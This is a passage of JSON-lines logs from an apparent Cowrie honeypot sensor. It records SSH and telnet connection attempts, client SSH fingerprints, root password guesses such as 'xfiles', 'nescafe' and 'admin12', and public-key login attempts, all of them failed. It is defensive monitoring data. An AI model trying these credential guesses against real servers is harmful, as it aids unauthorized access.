c-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc3aee897af7d3feb9fc37b89c7d15c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:17.259673Z","src_ip":"85.217.149.5","session":"bf68a01e9d24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:17.280712Z","src_ip":"85.217.149.5","session":"bf68a01e9d24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":11422,"dst_ip":"159.203.135.109","dst_port":22,"session":"453b9826bcd2","protocol":"ssh","message":"New connection: 38.93.206.2:11422 (159.203.135.109:22) [session: 453b9826bcd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:36.939716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:36.944853Z","src_ip":"38.93.206.2","session":"453b9826bcd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:37.048276Z","src_ip":"38.93.206.2","session":"453b9826bcd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xfiles","message":"login attempt [root/xfiles] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:37.362535Z","src_ip":"38.93.206.2","session":"453b9826bcd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:38.459866Z","src_ip":"38.93.206.2","session":"453b9826bcd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.39","src_port":38112,"dst_ip":"10.17.0.5","dst_port":23,"session":"39b6f3584fb4","protocol":"telnet","message":"New connection: 85.217.149.39:38112 (10.17.0.5:23) [session: 39b6f3584fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:38.873796Z"}
{"eventid":"cowrie.session.closed","duration":0.029302120208740234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:08:38.902972Z","src_ip":"85.217.149.39","session":"39b6f3584fb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":54970,"dst_ip":"10.17.0.5","dst_port":22,"session":"c08828f75cba","protocol":"ssh","message":"New connection: 103.77.242.62:54970 (10.17.0.5:22) [session: c08828f75cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:10:51.394024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:10:51.399281Z","src_ip":"103.77.242.62","session":"c08828f75cba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:10:51.652577Z","src_ip":"103.77.242.62","session":"c08828f75cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nescafe","message":"login attempt [root/nescafe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:10:52.409332Z","src_ip":"103.77.242.62","session":"c08828f75cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:10:53.664762Z","src_ip":"103.77.242.62","session":"c08828f75cba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.131","src_port":58502,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4e32801da60","protocol":"ssh","message":"New connection: 205.210.31.131:58502 (10.17.0.5:22) [session: a4e32801da60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:22.860910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:23.533067Z","src_ip":"205.210.31.131","session":"a4e32801da60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:24.208654Z","src_ip":"205.210.31.131","session":"a4e32801da60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.61","src_port":40848,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b4a0e1837a9","protocol":"ssh","message":"New connection: 78.111.67.61:40848 (10.17.0.5:22) [session: 9b4a0e1837a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.020205Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":50998,"dst_ip":"10.17.0.5","dst_port":22,"session":"16f2a2a6422e","protocol":"ssh","message":"New connection: 85.11.167.46:50998 (10.17.0.5:22) [session: 16f2a2a6422e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.024781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.028141Z","src_ip":"78.111.67.61","session":"9b4a0e1837a9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.032108Z","src_ip":"85.11.167.46","session":"16f2a2a6422e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.120292Z","src_ip":"78.111.67.61","session":"9b4a0e1837a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.125935Z","src_ip":"85.11.167.46","session":"16f2a2a6422e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12","message":"login attempt [root/admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.389803Z","src_ip":"85.11.167.46","session":"16f2a2a6422e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:a0:c2:da:82:36:b2:cf:1a:00:3c:8d:41:41:b8:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCylSCCLwW4tnR0i2wccfCueGlJqoABKUL5O1Uk0m188Di/6kb5Fon+Z+4Qe7yHz0fliFV5zTUW1Icw14E7oeai+7xA64M9v0svZzLZu7SkFAO4gIHCfgxkrhmwTzjQiAY80cq62jao/fHwnoiGEQRHWmafp8CO/slRmOD+6klNbNNqGdLaFWPavDA51+jfVkyMecEoO+mBPgcsZNmjgyX9urYpT/ruP/gMo1nwQQ7Giw1Z1NRMnQH/DZlFbGQNtVWpwe2wnFnSPul1YFSFvXO1ULmgirWrkku//C891ue7fCpoC5S6BmM+elyFHcyOcCTNJeEd7hMZxp09H/1UzZUL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:a0:c2:da:82:36:b2:cf:1a:00:3c:8d:41:41:b8:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.561729Z","src_ip":"78.111.67.61","session":"9b4a0e1837a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:a0:c2:da:82:36:b2:cf:1a:00:3c:8d:41:41:b8:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCylSCCLwW4tnR0i2wccfCueGlJqoABKUL5O1Uk0m188Di/6kb5Fon+Z+4Qe7yHz0fliFV5zTUW1Icw14E7oeai+7xA64M9v0svZzLZu7SkFAO4gIHCfgxkrhmwTzjQiAY80cq62jao/fHwnoiGEQRHWmafp8CO/slRmOD+6klNbNNqGdLaFWPavDA51+jfVkyMecEoO+mBPgcsZNmjgyX9urYpT/ruP/gMo1nwQQ7Giw1Z1NRMnQH/DZlFbGQNtVWpwe2wnFnSPul1YFSFvXO1ULmgirWrkku//C891ue7fCpoC5S6BmM+elyFHcyOcCTNJeEd7hMZxp09H/1UzZUL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.565986Z","src_ip":"78.111.67.61","session":"9b4a0e1837a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.703584Z","src_ip":"205.210.31.131","session":"a4e32801da60","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:f2:9b:e8:d8:1c:2b:be:66:ac:bd:97:cf:75:c5:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEDCNRppRqlDMWbYY61BEDrjPF18CCNg+R8Z+JvDgCyJLEWK94/5HGZcdStq/letYD2sr/1wSq6A6XlcbP8AuFxiOsMEHzAsCScHUuJZTDeV/Suq78+8fPUDXxFXPSSBcEAqqhBWgabjKFAUMnM55sqRYCywv3whRhrVHP0eaOJG7pfoiGWvQFoUcvPijRa3jKVk0woSWECAMLDxYlATkMo49UDxfoDq+dmnTsnNn5YBqtHHnbTd8UDenp5/W4GCZv483z0dZ+UhgFvxTAO9V3Iu0m31VBG/etc2Kd4NoM9IllXTpz86HKuqSPrgwO8NVVze3p0T8QJwmC9ujYLlWB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:f2:9b:e8:d8:1c:2b:be:66:ac:bd:97:cf:75:c5:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.708746Z","src_ip":"78.111.67.61","session":"9b4a0e1837a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:f2:9b:e8:d8:1c:2b:be:66:ac:bd:97:cf:75:c5:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEDCNRppRqlDMWbYY61BEDrjPF18CCNg+R8Z+JvDgCyJLEWK94/5HGZcdStq/letYD2sr/1wSq6A6XlcbP8AuFxiOsMEHzAsCScHUuJZTDeV/Suq78+8fPUDXxFXPSSBcEAqqhBWgabjKFAUMnM55sqRYCywv3whRhrVHP0eaOJG7pfoiGWvQFoUcvPijRa3jKVk0woSWECAMLDxYlATkMo49UDxfoDq+dmnTsnNn5YBqtHHnbTd8UDenp5/W4GCZv483z0dZ+UhgFvxTAO9V3Iu0m31VBG/etc2Kd4NoM9IllXTpz86HKuqSPrgwO8NVVze3p0T8QJwmC9ujYLlWB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.712081Z","src_ip":"78.111.67.61","session":"9b4a0e1837a9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:1c:d8:93:44:d0:96:54:c4:84:72:5a:9f:1f:12:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHTJEiC/7YHYEeDa7ox3Xhd0XzNVVw3uWJ14Pv4t7FfeTrPUiMU+o/GaLz1UIqOB1TCAWYjQLKhywY/eHr+qVy6TrvhNfLbTjBzSVbXOYtpJvKWo6wuUJdNf7JQeQlCv2KLIB6mJLbrgtggQrP57gJOwA1nxeWYqgmvQhrZA5pdbRmh1WSkrHJ2TWS8ZCQCCzkB0GjWK1EDNLNFyfjOoFQT4P6E0RYWLr38pPFU3W4bsEjPKQoTg1r8djZA/iJD00IO3TaG6CuVmHGvDkjcM+kFddt7fE6FJXDQpcD/KXsZm/RfSdO/ivb4BNjbpQCjaVUZN+RiSUG8GDmFh/0NoAR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:1c:d8:93:44:d0:96:54:c4:84:72:5a:9f:1f:12:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.803505Z","src_ip":"78.111.67.61","session":"9b4a0e1837a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:1c:d8:93:44:d0:96:54:c4:84:72:5a:9f:1f:12:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHTJEiC/7YHYEeDa7ox3Xhd0XzNVVw3uWJ14Pv4t7FfeTrPUiMU+o/GaLz1UIqOB1TCAWYjQLKhywY/eHr+qVy6TrvhNfLbTjBzSVbXOYtpJvKWo6wuUJdNf7JQeQlCv2KLIB6mJLbrgtggQrP57gJOwA1nxeWYqgmvQhrZA5pdbRmh1WSkrHJ2TWS8ZCQCCzkB0GjWK1EDNLNFyfjOoFQT4P6E0RYWLr38pPFU3W4bsEjPKQoTg1r8djZA/iJD00IO3TaG6CuVmHGvDkjcM+kFddt7fE6FJXDQpcD/KXsZm/RfSdO/ivb4BNjbpQCjaVUZN+RiSUG8GDmFh/0NoAR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.807251Z","src_ip":"78.111.67.61","session":"9b4a0e1837a9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:77:bd:0d:85:7b:24:a1:38:97:55:df:1b:34:bd:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC36mafgRhhy574hc5LTMGGCuz982hYRaQnCuBOFpikQs2ZbmPm0z+Np8K8J7rw2XSrhSwMc9hfcziLDxA53h4ThFW3BRhFKrqv91RkSTqHxGCGTBt+f11RNVpgD49uuiy/5PzcJLXZcrGsLD+qAtJ6e+7cgMzeNmrcn19LWqk+A5Ch9+pugpUpamP4jlwbPPb4FmfpsYO+mc/UeTexBYGUv4buH9addHV/OEbUBl/N1NqKhSUip6zHnlqgb7gQ37wnXk9jgD2ItjO+DkAGMI9kUfIeTWNi+8gbaveKJncS3f8zsxcam87EJzJcS0dPTEkU/2tmy7HjP23Tr/pBjyxl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:77:bd:0d:85:7b:24:a1:38:97:55:df:1b:34:bd:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.901047Z","src_ip":"78.111.67.61","session":"9b4a0e1837a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:77:bd:0d:85:7b:24:a1:38:97:55:df:1b:34:bd:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC36mafgRhhy574hc5LTMGGCuz982hYRaQnCuBOFpikQs2ZbmPm0z+Np8K8J7rw2XSrhSwMc9hfcziLDxA53h4ThFW3BRhFKrqv91RkSTqHxGCGTBt+f11RNVpgD49uuiy/5PzcJLXZcrGsLD+qAtJ6e+7cgMzeNmrcn19LWqk+A5Ch9+pugpUpamP4jlwbPPb4FmfpsYO+mc/UeTexBYGUv4buH9addHV/OEbUBl/N1NqKhSUip6zHnlqgb7gQ37wnXk9jgD2ItjO+DkAGMI9kUfIeTWNi+8gbaveKJncS3f8zsxcam87EJzJcS0dPTEkU/2tmy7HjP23Tr/pBjyxl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.905451Z","src_ip":"78.111.67.61","session":"9b4a0e1837a9","protocol":"ssh"}
